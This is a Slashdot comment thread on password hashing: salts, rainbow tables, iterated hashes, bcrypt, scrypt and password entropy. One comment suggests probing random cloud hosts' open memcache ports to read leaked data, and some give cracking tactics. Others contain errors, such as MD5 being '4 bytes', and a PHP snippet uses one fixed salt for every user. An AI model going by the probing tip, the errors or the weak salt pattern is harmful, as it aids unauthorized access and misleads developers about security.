Are You Sure SHA-1+Salt Is Enough For Passwords?

Melchett writes "It's all too common that Web (and other) applications use MD5, SHA1, or SHA-256 to hash user passwords, and more enlightened developers even salt the password. And over the years I've seen heated discussions on just how salt values should be generated and on how long they should be. Unfortunately in most cases people overlook the fact that MD and SHA hash families are designed for computational speed, and the quality of your salt values doesn't really matter when an attacker has gained full control, as happened with rootkit.com. When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."

Comments

News at 11

[Anonymous Coward]

This just in, passwords don't protect against people with root access.

Re:News at 11

[commodore6502]

"FILM at 11" (it takes time to develop the film, so that's why it can't be shown at 6).

Re:News at 11

[Stormwatch]

The first time I heard that "film at 11" thing, I thought they meant airing a movie at 11 PM.

Re:News at 11

[ObsessiveMathsFreak]

This isn't about passwords, it's about using hash values to protect passwords even from people with the root password. Basically, not even root should be able to figure out any users password.

Normally this is done by never storing the users password, only a hash of the users password, it's MD5 value say. Now the user enters their password, this is hashed, and that value compared to the stored hash. We could talk about collisions etc, but lets assume this works for now. User can get in with the right password, but not even root knows what this is just by looking at the hash database.

Unless of course rootâ"or the attacker that has gained rootâ"has a precomputed table of hash values. Then they need only look up the hash and obtain the password directly. To prevent this, systems use "salts", random integers/strings, appended/XORed to the password before the hash is computed. In theory then, an attacker would need to generate a different hashtable for each individual system compromised. Infeasible, or so we think.

He's where TFA comes in. MD5 and SHA1 are optimised to some extend for speed. Now, suppose the attacker has gained root and now knows the salt. How long will it take to generate a hashtable which can be looked up to find user passwords. TFA argues that this will now take only 33 days on a single machine using GPU computation. That's ~24 hours with less than 50 GPUs. Salt or not, these hashes are crackable in hours, not years.

So basically, the speed of MD5 and SHA1 hashes is actively working against computer security by making computing hashtables easier. TFA argues that a more computationally difficult hash scheme is needed, subject to certain criteria, and offers the PBKDF2, Bcrypt, and HMAC algorithms as potential alternatives. You could also throw, say, the three body problem with initial conditions at the computer instead.

Basically, hashing will protect against people with root access, but only if the hashing algorithm is computational difficult.

Re:News at 11

[mike260]

Basically, not even root should be able to figure out any users password.

What's to stop root from forcing a password reset and then snarfing the new password before it gets hashed?

Re:News at 11

[Nursie]

Or, you know, replaces the passwd binary with one that writes out a log readable only by root.

Then they just have to wait. They could even expire the user's password or make them re-enter it.

Re:News at 11

[bsDaemon]

Well, seeing as how the article is about web authentication, hacking the passwd binary probably isn't that useful, depending on how the devs implemented their stuff. Probably they just take the text, pass it through a hashing function that likely punts to something like crypt() in the libc on the system, possibly picks a a salt, then stores the hashed password in a database table.

crypt() putting out des, for example, usually only uses a 2-character salt, so if you have the hashed password you can knock the first 2 chars off, pass those back into crypt() as the salt value, the brute force the rest of the key space. Compare the result of the current iteration to the hash you're trying to crack, etc. or use rainbow tables, or other methods for doing this.

Getting access to the database through a flaw in a web app is going to be a lot easier than getting a shell on the system then getting a local privilege escalation to root and replacing system binaries.

Re:News at 11

[eln]

This may all be true, but isn't necessarily of a lot of practical value in real-world applications. If an attacker has gained root access, one has to assume they've compromised every part of the system, including changing any number of binaries for their nefarious purposes, and taking the passwd file for later perusal. In this case, whether the hash takes hours or months to crack, the only way to be sure the attacker won't have anything useful is to reinstall everything from media and force everyone to reset their passwords to something other than what they were before.

More computationally expensive password hashing algorithms are a band aid on the real problem, which is the fact that once an attacker has gained access to root, containing the damage becomes orders of magnitude harder.

Re:News at 11

[gweihir]

As is well known to competent users of cryptography, you create the computational effort by iterating the hash. Even the very old UNIX crypt() function already did this. Those that use a single has iteration are simply incompetent and did not research how to do it right at all. Typical iteration counts needed today are in the 100'000 - 1'000'000 range.

Re:News at 11

[asdf7890]

Basically, not even root should be able to figure out any users password.

What's to stop root from forcing a password reset and then snarfing the new password before it gets hashed?

Nothing. But the user could at least be aware that something is amiss as the password reset probably wouldn't be affected and this would only work for as long as the attacker maintains access (rather than syphoning off the user/pass data for later analysis elsewhere).

The answer here is to train users to have different passwords for each important account (I do, keeping record of them in a local keepass DB, itself protected by a strong password and keyfile on a USB stick, though that is too much hassle for many people).

Re:News at 11

[lingon]

... or he could backdoor the passwd program. I think GP was just trying to make a point about computationally difficult hashes and made a bad choice of words.

Re:News at 11

[ObsessiveMathsFreak]

As is well known to competent users of cryptography, you create the computational effort by iterating the hash.....Typical iteration counts needed today are in the 100'000 - 1'000'000 range.

Is that sufficient, or indeed secure? Given enough resources, a hashtable chain of 1,000,000 iterations could be generated for all systems, then only the first table in the chain iteration is needed anyway for a final lookup.

Unless the system uses the salt at each hashing step? But in this case, does this affect the distribution of the hashes? I don't know the details, but simply iterating a simple hash does not seem like a true solution to the problem.

Re:News at 11

[gweihir]

First, all security is a trade-off.

Second, you need hash iterations and salt, but you only need to use the salt once at the beginning. After one hash iteration, you cannot use tables anymore, as they would be too large (for example 2^160 entries for sha1). Tables only work for low-entropy passwords, and because there are a lot less of those than there are hash values.

Re:News at 11

[Guspaz]

TFA is suggesting a pointless solution, though. TFA suggests that instead of an algorithm that allows an attacker to check 2300 million hashes per second, we use something that can limits current hardware to 10 thousand per second. That's all well and good, except that Moore's law will raise that back to 2300 million after 27 years... and that's assuming that the ability to generate these things doesn't increase faster than Moore's law. Certainly the introduction of GPGPU computing gave us a performance leap far in excess of Moore's law for this sort of stuff. A willingness to increase power consumption, for example, allows you to scale performance beyond Moore's law.

The author suggests that we use an algorithm where "Computational time required can be adjusted easily when processing power increases" but this doesn't completely solve the problem; keys generated before changing the algorithm will still be crackable with the old processing requirements.

Re:News at 11

[kdemetter]

Wait , then what does it mean exactly ?

Re:News at 11

[kdemetter]

Nothing. But the user could at least be aware that something is amiss as the password reset probably wouldn't be affected and this would only work for as long as the attacker maintains access (rather than syphoning off the user/pass data for later analysis elsewhere).

Unless the attackers stored the original hash first , then resets the password , and puts the original hash back after he's done.

Re:News at 11

[commodore6502]

It takes time to develop the film, so that's why it can't be shown at 6 o'clock. "We'll show the film at 11," became a standard catchphrase during the 50s, 60s, and 70s.

Then the portable videotape was invented in 1982 (VHS-C and Betacam), and that eliminated the delay of film development.

Re:News at 11

[sourcerror]

Language changes and evolves. News at 11.

Grammar nazis on the moon. News at 11.

Re:News at 11

[VGPowerlord]

Getting access to the database through a flaw in a web app is going to be a lot easier than getting a shell on the system then getting a local privilege escalation to root and replacing system binaries.

I would hope your web server doesn't have access to /etc/shadow ...

Re:News at 11

[sexconker]

The answer here is to train users to have different passwords for each important account (I do, keeping record of them in a local keepass DB, itself protected by a strong password and keyfile on a USB stick, though that is too much hassle for many people).

All that work and in the end you effectively have a single password for everything.
Passwords are like testicles in a devil's threeway - you must never let them touch.

Re:News at 11

[Rophuine]

A correctly-implemented salted-password scheme uses a different salt per user - it doesn't even matter if it's trivial to predict. The point is that it multiplies the computational load to compromise n users by n. You can't generate a single look-up table any more.

Further, the salt is combined with the key, not the user's password. If it was just combined with the password before the encryption, when you used your look-up table to find out the (password+salt) used to generate a particular hash, you would then de-combine the known salt and have the password! Simple.

Finally, because the salt is combined with the encryption key, using one salt for your whole system would be no different to just using a different key.

With the correct scheme, adding a per-user salt means (even if the salt is trivial to discover) you are using a DIFFERENT key to compute the hash for each user. Now you may still be able to generate a large look-up table of hashes to compromise an individual hash, but it will only work for ONE user account (barring salt collisions), and so a 24-hour run (your number) will be required PER USER ACCOUNT. This means that a few dozen, or even a few hundred, accounts may be compromised, but this will be a much smaller fraction than if you weren't using salts (or were using them incorrectly, as is so common).

Re:News at 11

[Stormwatch]

Then the portable videotape was invented in 1982 (VHS-C and Betacam), and that eliminated the delay of film development.

But the U-Matic cassete was introduced in 1969, it was compact enough, the quality was good enough, and networks certainly used it. But they kept doing the "film at 11" thing, I assume, simply because audiences were used to it.

Re:News at 11

[bsDaemon]

That's still missing the point. The point is to be able to crack the passwords held in the database back-end of the webapp. There are other ways to get at the customer data if you're already that far in, but as the gawker incident shows, many people re-use passwords across multiple web accounts, so depending on the nature of your caper you'll want to know what those passwords are so you can try them in other locations as well. /etc/shadow doesn't even have to come into play here, and shouldn't.

Re:News at 11

[asdf7890]

The answer here is to train users to have different passwords for each important account (I do, keeping record of them in a local keepass DB, itself protected by a strong password and keyfile on a USB stick, though that is too much hassle for many people).

All that work and in the end you effectively have a single password for everything. Passwords are like testicles in a devil's threeway - you must never let them touch.

Fair point, the password store is a weak point - but not for remote attackers. They need to get the DB, the key file and the password from my head, most of which requires physical access to me. If someone is that determined to get access to my accounts or impersonate me then they could just kidnap me and be done with it.

Re:News at 11

[sexconker]

The answer here is to train users to have different passwords for each important account (I do, keeping record of them in a local keepass DB, itself protected by a strong password and keyfile on a USB stick, though that is too much hassle for many people).

All that work and in the end you effectively have a single password for everything.
Passwords are like testicles in a devil's threeway - you must never let them touch.

Fair point, the password store is a weak point - but not for remote attackers. They need to get the DB, the key file and the password from my head, most of which requires physical access to me. If someone is that determined to get access to my accounts or impersonate me then they could just kidnap me and be done with it.

Or be a spurned lover OH WAIT THIS IS SLASHDOT.

Re:News at 11

[asdf7890]

Fair point, the password store is a weak point - but not for remote attackers. They need to get the DB, the key file and the password from my head, most of which requires physical access to me. If someone is that determined to get access to my accounts or impersonate me then they could just kidnap me and be done with it.

Or be a spurned lover OH WAIT THIS IS SLASHDOT.

My pycho ex took the direct route of going for me with a large knife and the sharp end of a broken wine bottle. I can tell you that at moments like that you don't care about who might have access to your credentials database!

Re:News at 11

[sexconker]

Fair point, the password store is a weak point - but not for remote attackers. They need to get the DB, the key file and the password from my head, most of which requires physical access to me. If someone is that determined to get access to my accounts or impersonate me then they could just kidnap me and be done with it.

Or be a spurned lover OH WAIT THIS IS SLASHDOT.

My pycho ex took the direct route of going for me with a large knife and the sharp end of a broken wine bottle. I can tell you that at moments like that you don't care about who might have access to your credentials database!

I consider my nuts part of my credentials database.

Re:News at 11

[VeNoM0619]

Now, suppose the attacker has gained root and now knows the salt. How long will it take to generate a hashtable which can be looked up to find user passwords. TFA argues that this will now take only 33 days on a single machine using GPU computation. That's ~24 hours with less than 50 GPUs. Salt or not, these hashes are crackable in hours, not years.

This assumes it's "password+salt" -> MD5
Which, yes a hashtable (raindbow table) would be used to get all possible values for a reverse lookup to ALL logins.

Now assume you use the "one-time pad" type of method, ie, something unique per login.
"password+salt+(username)" or "password+salt+(usersignupdate/time)" some unique value that doesn't change, but is different between users, or just store a "randomkey" field that gets generated per user. Sure you could spend 33 hours to crack a password, but you would only get ONE password/login. No rainbowtable possible, no reverse lookup.

Security cookbook?

[Compaqt]

Does anybody have a link for a security cookbook that covers this and other security topics while taking in to account the latest developments re: MD5 and friends, cross-site scripting, SQL injection, and other problems of the web-based app age?

Re:Security cookbook?

[Errol backfiring]

I found this book useful. It does not go too deep, but just deep enough: http://innocentcode.thathost.com/

Re:Security cookbook?

[Anonymous Coward]

Woh, spammers are getting organised these days.

Re:Security cookbook?

[Anonymous Coward]

Be sure to mention it to Melchett and CmdrTaco. They sure have completely missed the point of salting password hashes. When you have root, you can obviously verify that a given password matches the information stored on the compromised system. As root you have access to all information that the computer can use and since the computer must be able to tell if the given password is correct, root can too. The point of salt isn't to make that impossible. That would be stupid.

The point of salt is to make it impossible to use a precomputed table of password hashes and find a valid matching password just by comparing the precomputed hashes to the ones on the system. If you don't use salt, then one rainbow table suffices and the reversed passwords can be used on any other system that uses the same hash algorithm without salt and where the user has the same password (happens much too often.) With salt, you can not reverse the password except by brute-forcing each and every password hash individually. No time-memory trade-off with rainbow tables.

SHA1 is still considered a cryptographically secure hash function, which means so far no faster way to reverse it is known than trying all possible inputs in the forward direction until the result matches the given hash value. Salt makes the hash function an individual function per system (or even per password), which means you have to repeat this process for every system/password without being able to use precomputed tables and even if you can reverse a password hash by brute force, it is unlikely that you can use the resulting password somewhere else, because many passwords match the same hash, but only the right one will match for any salt.

Re:Security cookbook?

[Brad1138]

It does not go too deep, but just deep enough:

That's what she said...

Re:Security cookbook?

[mr_mischief]

Well, technically, you could have a rainbow table including different random salts. It'd be so enormous that most systems wouldn't actually be able to use it. Talk about space/time trade offs, though. If you had a big enough system with enough time to pre-compute the tables beforehand and enough storage to make them usable, then you'd really save loads of time in cracking passwords. The average high schooler isn't going to have such a system at his disposal, though. Neither would the average nation-state intelligence agency.

Re:Security cookbook?

[Gri3v3r]

http://cwe.mitre.org/top25/index.html We had been given this URL to check at Security lesson. I found it enlightening.

Re:Security cookbook?

[dankney]

I think what you're looking for is the Open Web Application Security Project (OWASP) Guide:

http://www.owasp.org/index.php/Category:OWASP_Guide_Project

It's pretty much the industry standard.

Re:Security cookbook?

[dankney]

Even is the attacker has root on the web application box, they shouldn't automatically get raw table access to the database backend (assuming that the database is on the back-end, and not on the same box as the web server). You should be using execute-only permissions on stored procedures to validate passwords in the DB, not performing a comparison on the application server.

I know it's bad form to link to oneself, but I have a reasonably thorough explanation here:

http://www.hackerco.de/hackercode/2010/01/secure-web-form-authentication-using-stored-produres.html

Re:Security cookbook?

[Korin43]

Well, technically, you could have a rainbow table including different random salts. It'd be so enormous that most systems wouldn't actually be able to use it. Talk about space/time trade offs, though. If you had a big enough system with enough time to pre-compute the tables beforehand and enough storage to make them usable, then you'd really save loads of time in cracking passwords. The average high schooler isn't going to have such a system at his disposal, though. Neither would the average nation-state intelligence agency.

Every bit in the salt doubles the size of a rainbow table. Assuming an unrealistically tiny 1 GB for a normal rainbow table, a rainbow table for the same passwords + a 32 bit salt is 4 Exabytes. With a 64-bit salt you're talking "so unbelievable large that we might never be able to store that amount of data".

Not to mention that even a small salt makes it faster to just try each password individually than precompute all possible passwords.

Re:Security cookbook?

[TheLink]

Even is the attacker has root on the web application box

The web application receives the password that each user types.

So if the attacker is able to replace or tamper with the web application the attacker can get those passwords too.

In some systems getting root doesn't mean you can do that, but most people don't use such systems since they tend to be too inconvenient for getting things done quickly ;).

Re:Security cookbook?

[dankney]

Right, but individual passwords scavenged from login attempts -- individual data points -- are not nearly as valuable as the aggregate password tables.

Re:Security cookbook?

[mr_mischief]

If you do some math with products currently on the market and soon to be on the market, you could get four exabytes stored pretty easily in under 1000 standard 42 unit racks. All it takes is money. The computation nodes could be really wimpy because they'd just be accessing the right piece of data from a hierarchical structure.

Re:Security cookbook?

[aiht]

If you do some math with products currently on the market and soon to be on the market, you could get four exabytes stored pretty easily in under 1000 standard 42 unit racks. All it takes is money. The computation nodes could be really wimpy because they'd just be accessing the right piece of data from a hierarchical structure.

If you're worried about attackers who can wrangle 4 exabytes of storage at you, use a 64-bit salt.

Re:Security cookbook?

[Korin43]

Even if you could build the 4 EB rainbow table, it wouldn't be worth it unless you have billions of passwords you need to crack. If you build your password + salt rainbow table for all 32-bit hashes, and then break a million hashes, 99.97% of your insanely expensive rainbow table wasn't used at all. Rainbow tables become worthless long before they become impossible.

Re:Security cookbook?

[after.fallout.34t98e]

Or a GUID...

We use the string representation of a guid (32 chars: 256 bits). Granted that half of those bits are 0, it is still an extra 128 bits.

At this size, the storage space necessary for a good rainbow table is essentially impossible (estimated size of the universe, etc.).

Re:Security cookbook?

[mr_mischief]

Hence the "neither would the average nation-state intelligence agency" in reference to how ludicrously expensive the task would be compared to any possible value it could provide. You do summarize the point quite nicely, though. It's not impossible. It's just pointless.

Re:Security cookbook?

[mr_mischief]

If you're actually worried someone will build that sort of customized system to break your passwords, you take off your tin-foil hat and get on some medication. I said it was possible. I never said it'd be ultimately worthwhile to do. Maybe in 20 years there'll be a way to do it that's cost effective for the US NSA, but by then you'll probably be using a 256-bit or 512-bit salt as a matter of course anyway. You'll probably also be using some other security to keep people from getting the encrypted password, armed physical security teams, and some quite frequent password expirations if your data is of that kind of value.

Wait, what?

[Anonymous Coward]

Why is this even a question? Use bcrypt, always. (Preferably using the $5$ or $6$ extensions.)

Re:Wait, what?

[vlm]

Why is this even a question? Use bcrypt, always. (Preferably using the $5$ or $6$ extensions.)

mysql only offers AES, DES, MD5, and SHA... So... for at least a certain subset of developers, thats what they're going to use.

I'm not saying they're correct to do so, I'm just explaining why they will not even consider your suggestion, because they have architectural problems, for them its not as simple as search and replace all calls to md5() with bcrypt().

Re:Wait, what?

[Stellian]

While most people know enough about security to avoid a plain password hash, very few people know how vulnerable common key derivation functions truly are. Things like PBKDF2, bcrypt and MD5-crypt widely used for example in Linux shadow file or in TrueCrypt give only a linear advantage over a salted plain hash. 5000 MD5 repetitions might sound like great security from a brute force perspective, but the asymptotic hardware cost of brute-forcing such a password is fairly small. The cost to break your 8 letter bcrypt password is in the hundreds of dollars, assuming enough passwords are cracked to justify a hardware cracker. I can almost bet NSA has a multi-million dollar hardware cracker that can brute-force your Linux or TrueCrypt password, assuming it has less than about 50 bits of entropy. Very few people are capable or willing to use truly safe passwords with 100bit+ entropy.

I know of only one strong key derivation algorithm that forces the attacker to scale it's hardware cost at the same rate as the software slowdown: scrypt. So by all means, don't use bcrypt, use scrypt.

The issue is completely different in a webserver, that probably can't spend 1 second of CPU time whenever a user logs in. Is such cases a hash + salt is all that you can realistically expect if a dedicated authentication machine does not exist. At least try to combine them safely using a HMAC, not some home-grown SHA1(salt+password) scheme.

Re:Wait, what?

[truthsearch]

Pulling the one database call into the application code shouldn't be difficult if the system is architected well. In the framework I maintain it only requires changes to two small functions.

Re:Wait, what?

[MightyYar]

Use bcrypt

Forgive me for being dense, but the advantage of bcrypt is that it's slower? If that is the case, why not just run your MD5 or whatever hashes in a loop 50 or 60 times to get the same performance hit?

Re:Wait, what?

[Anonymous Coward]

Exactly !!! (altough you are several orders of magnitude off, should be more like 10^5 times).

Bashing on hash functions because they are fast is retarded. No matter what you do, if the password can be guessed, you are screwed anyway. There is nothing that prevents building a scheme as secure as bcrypt on top of a hash function.

Re:Wait, what?

[dfetter]

You do realize that OP was referring to MySQL, do you not?

Re:Wait, what?

[emj]

md5 generates a hash that is 4 bytes long, that means it only has 2^32 outcomes, you can store those in 16GB of ram, then you just do fast look ups and solve all those consecutive hashes in less time than it takes to calculate and MD5 in the first place. :-) You want algorithms that are hard to make parallel and that gets you lots of outcomes..

Re:Wait, what?

[Anonymous Coward]

You do realize that OP was referring to MySQL, do you not?

You do realize that GP was talking about moving the hash code out of the database and into the application code, making the database's capabilities irrelevant, do you not?

In other words, he was solving the problem of MySQL's limitations.

Re:Wait, what?

[ifrag]

Ouch... and here I was thinking my hand-harvested, shade-grown, organic Himalayan pink salt was the final solution to password security. That's the last time I trust the Himalayans.

Re:Wait, what?

[Anonymous Coward]

How did you get from MD5's 128 bit output to 4 bytes?

Re:Wait, what?

[Anonymous Coward]

Because in order to brute force that you only need to guess the last hash that was used as an input to the hash function.
You don't need to guess the original password and then hash that 50 times.

Re:Wait, what?

[Just Some Guy]

They're very wide bytes.

Re:Wait, what?

[gweihir]

You do indeed loop. But the counts are more like in the 100'000-1'000'000 range today,.

Re:Wait, what?

[Gunstick]

additionally they won't think about salting. I have seen many mysql databases where there are plain md5 strings.
So you can gain access by google: http://www.google.com/search?q=e10adc3949ba59abbe56e057f20f883e

Re:Wait, what?

[asdf7890]

Nope. The result of an MD5 run is a 128 bit value. 16 bytes. 32 characters if represented in hexadecimal. http://en.wikipedia.org/wiki/Md5

Am MD5 rainbow table for all passwords between 1 and 7 characters long with between 0 and 7 lower case characters, between 0 and 7 upper case, between 0 and 7 numeric characters and 0 to 7 spaces weights in at only 26Gb apparently, within the available RAM of a chunky machine these days and well within modern drive sizes - so you definitely need some salt in that hash.

How long it would take to generate a rainbow table for a given password pattern (should someone want to generate a new one because they have access to your password store and know the fixed hash that you use) I'm not sure, but I bet it is quite practical if you are a hacker with access to a large botnet to run the computation over - so using a salt that varies per password as well as or instead of a fixed salt is probably a good idea.

Re:Wait, what?

[Anonymous Coward]

Don't know much MD5 but running it repeatedly on its own output could reduce its distribution, meaning more inputs would result in the same hash.

Re:Wait, what?

[MobyDisk]

The parent posted the correct answer. SHA + salt is not the current best practice. Let me expand on the AC's post.

Like many coders, I thought you were supposed to calculate Hash(password + salt). Then store the salt, and the resulting hash. But hash functions are designed for speed, not security. The correct solution is to use a Key Derivation Function instead. These functions are intentionally slower and harder to reverse or brute-force. They are the kinds of functions used to generate encryption keys from passwords. Ex: I type "supersecret123" and the computer must generate a 128-bit key from that. It doesn't just hash it. It uses a KDF.

I keep seeing articles saying scrypt is better than bcrypt, or vice-versa. I don't know which is right. But either way, SHA and MD5 are not the way to go.

Re:Wait, what?

[Anonymous Coward]

I recently was tasked to oversee a pen test by a person who had a connection back to his head office where he had about 320GB of rainbow tables set up that he had created previously. The company he represented is a big audit firm and you would know the pen tester's name if you heard it.

He had broken into one of the servers and retrieved the password hashes. One of the passwords turned out to be a 16-character password made of 2 dictionary words with a non-letter character between the 2 words. Keepass 1.18 showed over 70 bits of "Quality" for that password, so it wasn't a joke password.

He cracked it using the tables in less than 3 seconds.

After I picked up my jaw from the floor, I made a note to go home and change ALL my passwords to be more secure. However I can't help but think that the day of the password is over and we are going to have to come up with something a lot better for authentication on the Internet and in enterprises.

Re:Wait, what?

[the Atomic Rabbit]

That's not how hash functions work.

Re:Wait, what?

[systematical]

RTFA and the author mentions Bcrypt along with HMAC and PBKDF2.

Re:Wait, what?

[JWSmythe]

    At least you've learned. :)

    None of my passwords contain dictionary words. Well, some may have started out as such, but they're so brutally mangled it's well beyond the normal capabilities of a rainbow table, unless they've computed all possible characters, instead of typical variations. For example, my password to Slashdot may be "lonely nerds in mommas basement", which may now be "l1lyn3rd@M0mazBazmt". Feed that to a rainbow table, and let me know how it goes. :)

    (Note: that's not really my password here. It's too easy)

  The whole discussion is actually pretty simple. Unless the password is a common one, it's easier to use another attack method.

Re:Wait, what?

[Anonymous Coward]

Isn't mysql open-source?

Re:Wait, what?

[rgviza]

>However I can't help but think that the day of the password is over and we are going to have to come up with something a lot better for authentication on the Internet and in enterprises.

like public key authentication and 2 factor? This is the mid 1970's calling, with my buddy the late 90's and we'd like you to know that we have solutions that are much more secure than passwords.

Re:Wait, what?

[MightyYar]

Perhaps I'm confused as to what we are protecting. I presume that the discussion centers around someone stealing your hashed passwords list and your salt.

The goal is to keep the thief from discovering the passwords. One person suggested using a slower hash algorithm to slow down brute force attacks, and I countered by saying that you could just loop over an MD5 or similar to make it take as long as you wish.

How does knowing the second-to-the-last hash help the thief?

Re:Wait, what?

[Anonymous Coward]

I was recently reading about supercomputers on Wikipedia, and there's an interesting and very brief section about how the fastest general purpose supercomputer can be outperformed by special purpose supercomputers.

I can almost bet NSA has a multi-million dollar hardware cracker that can brute-force your Linux or TrueCrypt password, assuming it has less than about 50 bits of entropy.

I bet the military and intelligence organizations of the US actually have a couple dozen such hardware crackers, designed for different algorithms by people who eat, sleep and breath such things.

It's counter intuitive these days with computers being so cheap and abundant, but cracking began with dedicated hardware and I'm confident the professionals still do it that way.

Re:Wait, what?

[DMUTPeregrine]

E&/[ahb5XN*uGH#!?R=(Ak"SI@d6_f is a strong password (192 bits of entropy, 30 characters randomly chosen from all ASCII printable chars.) supercallifragilisticexpialidocious8*antidisestablishmentarianism, despite being longer, is not. If your password is smaller than your key, it is easier to attack than brute forcing the key, so "just" generate an ASCII representation of the key and memorize that. I use KeePass with such a password (40 random ASCII characters, for 256 bits of entropy) to keep from having to memorize too many of these.

Re:Wait, what?

[Anonymous Coward]

That's patently absurd. However, the miraculous, all natural Acai berry harvested from Peru does fix password security once and for all.

Re:Wait, what?

[NaCl]

I would rather use Salt.

Re:Wait, what?

[Anonymous Coward]

Why not? just store the hash in the database as varchar(). Use php or equivalent to do the hashing.

Re:Wait, what?

[Anonymous Coward]

You sound like timothy hutton now, saying tibetans whip up a good fish curry. who exactly are the "Himalayans"?

Re:Wait, what?

[Firehed]

$hash = crypt($plaintext, '$2a$07$1234567890123456789012'); //use algorithm of choice
if ($hash_from_db === $hash)
login();
else
invalid_password();

So yeah, it really is as easy as switching the calls*. Sending the password in plaintext to the database and letting the query hash it is just stupid - not only does it limit your hashing options to those supported by the database, but you're sending that plaintext password to a different machine over a non-secure channel (assuming your DB and web servers are two separate systems, of course). Then anyone on the network can just sniff the connection between web and db boxes. Not good.

This is also a problem for memcache, which is wide open to the world if you're on most virtual "cloud" hosting, like rackspace cloud or aws, unless you've configured the firewall correctly. Just telnet into a random 10.x.x.x system on port 11211 from a $10/month cloud server and see what you get. It's not even password protected. If you're registered on any site with moderate traffic, there's a decent chance your information can be leaked without the database being directly compromised. Not having a private backchannel for your cloud-based website is very dangerous with a misconfigured set of iptables rules.

Of course, this only applies to "real" websites, not some out of date wordpress install on a $2/month godaddy hosting plan. Those are beyond hopeless.

*Well, ignoring the fact that you need to deal with legacy passwords. That just sucks. But upgrade on next login, and force expiration of all old passwords after so much time has elapsed.

Re:Wait, what?

[PacMan]

Like many coders, I thought you were supposed to calculate Hash(password + salt).

I've never seen anyone suggest Hash(password + username + salt) as an option. Is this something that the security industry has shown to be ineffective long ago, and I have just missed it?

To me this looks like it would stop two users with the same password getting the same hash (assuming the salt is system wide, not per user) and make it harder to replace the hash with a known one and get a known password.

Re:Wait, what?

[definate]

I can almost bet NSA has a multi-million dollar hardware cracker that can brute-force your Linux or TrueCrypt password, assuming it has less than about 50 bits of entropy. Very few people are capable or willing to use truly safe passwords with 100bit+ entropy.

I wasn't certain about how entropy was measured, so I read this Entropy as a measure of password strength. Given we assume that the regular typeable characters still provide enough entropy (not sure about, but it's possible), then you're saying, given someone has a password under 6.25 (50 bits / 8) characters, it would be cracked. I would agree with that. That's an absurdly small password. Based on this article Real World Passwords less than 17% on average fit that criteria. Additionally, this is lowest common denominator stuff. They fell for a phishing attack, and use myspace, and based on the most common passwords, aren't geniuses.

Very few people are capable or willing to use truly safe passwords with 100bit+ entropy.

Interestingly this would imply 12.5 characters. While I looked at my old stock standard passwords, they were just under this amount. However my high security passwords (the ones on the TrueCrypt / LastPass data), are in excess of 400 bits, and I'd gather anyone who really wants to/needs to protect something, will take a similar tact.

Lastly, there have been numerous articles, and legal documents, showing the NSA/FBI/etc attempting to crack many different peoples volumes, but being unable to. Don't see them as magic, they can't just crack anything they want. While it might induce you to maintain extreme security measures, that's about the only benefit from thinking this way, that you'll get. Also, you'll likely spend too much time/money/effort on these solutions.

Re:Wait, what?

[Stellian]

given someone has a password under 6.25 (50 bits / 8) characters, it would be cracked. I would agree with that. That's an absurdly small password

You are dead wrong when you assume a single password character means 8 bits of entropy. The best possible password that can be typed using a normal keyboard (94 printable characters, without keyboard gymnastics, euro-sign, etc.) has about 6.6 bits of entropy per character assuming the characters are uncorrelated and a high quality RNG is used as the source (huge assumptions). From the reference cited, 92% percent of passwords don't have any special characters. A lower-case + numbers password has only about 5 bits of entropy per character.

Worse yet, the vast majority of people will not use a truly random password, with a uniformly distributed character set. The examples provided as the longest passwords, and probably some of the best passwords in the list are "fool2thinkfool2thinkol2think" and "dokitty17darling7g7darling7" have 4 lower-case words (12 bits entropy each), 4 numbers with 2 digits (7 bits entropy each) for a total of 76 bits of entropy, and I'm being generous. That's just 2.8 bits of entropy per character ! Real world passwords indeed.

Regarding your claim about a 400 bit entropy password, allow me to doubt it. You might have a 50 character passphrase, but if it's a lowercase of english text it's entropy can be estimated as follows:

The first character is taken to have 4 bits of entropy, the next 7 characters are taken to have 2 bits of entropy each, the following 12 characters are taken to have 1.5 bits of entropy each, and subsequent characters are taken to have 1 bit of entropy each.

That gives you about 66 bit of entropy according to NIST. You might have a 400 bit passfile, but in that case you could also generate a 400 Kbyte passfile, it doesn't really matter. The whole idea of passwords is that they authenticate the person (something you know, and can realistically remember) and not the machine (something you have, or can easily copy).

Re:Wait, what?

[definate]

Very interesting. Thanks for the response.

In which case, my password is still well over 66bits of entropy, as there is a large amount of data, including extended characters, which is completely random.

I will have to keep this in mind.

Re:Wait, what?

[Stellian]

The whole point is not to get lulled into a false sense of security when using a "long" password. The 37 char password "Dp+qnKOU52Lc)|37GPa1\c]YD}A+E;W-v8VCh)" has 244 bits of entropy while the 37 character sentence "The quick fox jumps over the lazy dog" can have as less as 20 bits for an attacker that has a "1 million famous phrases" list - which is sure to contain such a well known sentence.

Lastly, there have been numerous articles, and legal documents, showing the NSA/FBI/etc attempting to crack many different peoples volumes, but being unable to. Don't see them as magic, they can't just crack anything they want.

I would expect such a capability to be reserved for national emergency situations, anti-terrorism threats etc. not for the run-of-the-mill paedophile or fraudster.
Let's analyse TrueCrypt for a second: the build installed on my computer offers by default to create an AES volume using RIPEMD-160 iterated 2000 times under PBKDF2 as the key derivation function. A single ATI Radeon can try about 1 million such keys per second (TFA, assume RIPEMD-160 ~ SHA1, they are close designs), without being optimised for such a task. It's not a stretch then assume the NSA can build a dedicated crack chip that can do 10 million keys per second, while costing between 10$ and 30$ including interconnects, cooling, power supply etc. This means a 10 to 30 million dollar NSA hardware cracker comprising of one million such chips can try 10^13 TrueCrypt passwords per second, or 3 * 10^20 per year.
Thus, the NSA can crack within a year any TrueCrypt password with less than 68bits of entropy, using a 10 to 30 million $ cracker !

Well then, 68 bits covers a perfectly random 10 character password, perfect 14 character alphanumerics, perfect 20 characters numerics, and most user generated English sentences shorter than 50 characters ! I must admit I'm a bit surprised myself. If you had such a capability and were a secret spy agency, would you advertise ?
It becomes critical why we must develop, review and switch to memory-hard password derivation functions such as scrypt, which have a much wider security margin against hardware attacks. According to scrypt's author, a $10 Million design attacking PBKDF2 would cost $210 Billion to achive the same performance against scrypt.

Re:Wait, what?

[definate]

This does presume that they'd be willing to tie up this resource for an entire year. Everything I've read of them so far, they were only able to tie it up for something on the order of 2 weeks to 2 months. Since there are competing uses for these machines, it would be hard to rationalize tying it up for ages.

So perhaps use something like this as your base.

Re:Wait, what?

[Carnildo]

One of the passwords turned out to be a 16-character password made of 2 dictionary words with a non-letter character between the 2 words.

There's your problem right there. My non-rainbow-table cracker would get that password on the fourth pass (about ten seconds in).

First pass: The list of common passwords (the list has about 200,000 entries, including the entire dictionary)
Second pass: Common passwords with a one-character suffix
